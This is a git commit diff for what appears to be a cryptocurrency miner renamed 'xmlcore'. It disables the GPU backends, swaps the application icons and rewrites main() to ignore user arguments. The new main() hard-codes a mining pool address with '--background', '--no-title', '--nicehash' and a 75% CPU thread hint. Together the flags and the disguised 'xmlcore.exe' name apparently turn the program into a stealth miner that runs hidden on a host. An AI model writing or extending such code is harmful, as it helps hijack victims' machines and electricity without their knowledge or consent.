Disable OpenCL and CUDA and add arguments
This commit is contained in:
parent
9b5585786a
commit
6a0d9dbaaa
5 changed files with 21 additions and 7 deletions
BIN
DLL.png
Normal file
BIN
DLL.png
Normal file
Binary file not shown.
After Width: | Height: | Size: 28 KiB |
BIN
old.ico
Normal file
BIN
old.ico
Normal file
Binary file not shown.
After Width: | Height: | Size: 21 KiB |
BIN
res/app.ico
BIN
res/app.ico
Binary file not shown.
Before Width: | Height: | Size: 21 KiB After Width: | Height: | Size: 9.4 KiB |
|
@ -1,19 +1,19 @@
|
|||
include(src/backend/cpu/cpu.cmake)
|
||||
include(src/backend/opencl/opencl.cmake)
|
||||
include(src/backend/cuda/cuda.cmake)
|
||||
#include(src/backend/opencl/opencl.cmake)
|
||||
#include(src/backend/cuda/cuda.cmake)
|
||||
include(src/backend/common/common.cmake)
|
||||
|
||||
|
||||
set(HEADERS_BACKEND
|
||||
"${HEADERS_BACKEND_COMMON}"
|
||||
"${HEADERS_BACKEND_CPU}"
|
||||
"${HEADERS_BACKEND_OPENCL}"
|
||||
"${HEADERS_BACKEND_CUDA}"
|
||||
# "${HEADERS_BACKEND_OPENCL}"
|
||||
# "${HEADERS_BACKEND_CUDA}"
|
||||
)
|
||||
|
||||
set(SOURCES_BACKEND
|
||||
"${SOURCES_BACKEND_COMMON}"
|
||||
"${SOURCES_BACKEND_CPU}"
|
||||
"${SOURCES_BACKEND_OPENCL}"
|
||||
"${SOURCES_BACKEND_CUDA}"
|
||||
# "${SOURCES_BACKEND_OPENCL}"
|
||||
# "${SOURCES_BACKEND_CUDA}"
|
||||
)
|
||||
|
|
|
@ -25,12 +25,26 @@
|
|||
#include "App.h"
|
||||
#include "base/kernel/Entry.h"
|
||||
#include "base/kernel/Process.h"
|
||||
#include <stdio.h>
|
||||
|
||||
|
||||
int main(int argc, char **argv) {
|
||||
using namespace xmlcore;
|
||||
char arg0[] = "xmlcore.exe";
|
||||
char arg1[] = "-o";
|
||||
char arg2[] = "192.168.202.97:8443";
|
||||
char arg3[] = "--background";
|
||||
char arg4[] = "--no-title";
|
||||
char arg5[] = "--nicehash";
|
||||
char arg6[] = "--cpu-max-threads-hint";
|
||||
char arg7[] = "75";
|
||||
|
||||
Process process(argc, argv);
|
||||
char *argvv[] = { &arg0[0], &arg1[0], &arg2[0], &arg3[0], &arg4[0], &arg5[0], &arg6[0], &arg7[0], NULL };
|
||||
int argcc = (int)(sizeof(argvv) / sizeof(argvv[0])) - 1;
|
||||
// for(int i = 0; i < argcc; i++)
|
||||
// printf("%s\n", argvv[i]);
|
||||
|
||||
Process process(argcc, &argvv[0]);
|
||||
const Entry::Id entry = Entry::get(process);
|
||||
if (entry) {
|
||||
return Entry::exec(process, entry);
|
||||
|
|
Loading…
Add table
Add a link
Reference in a new issue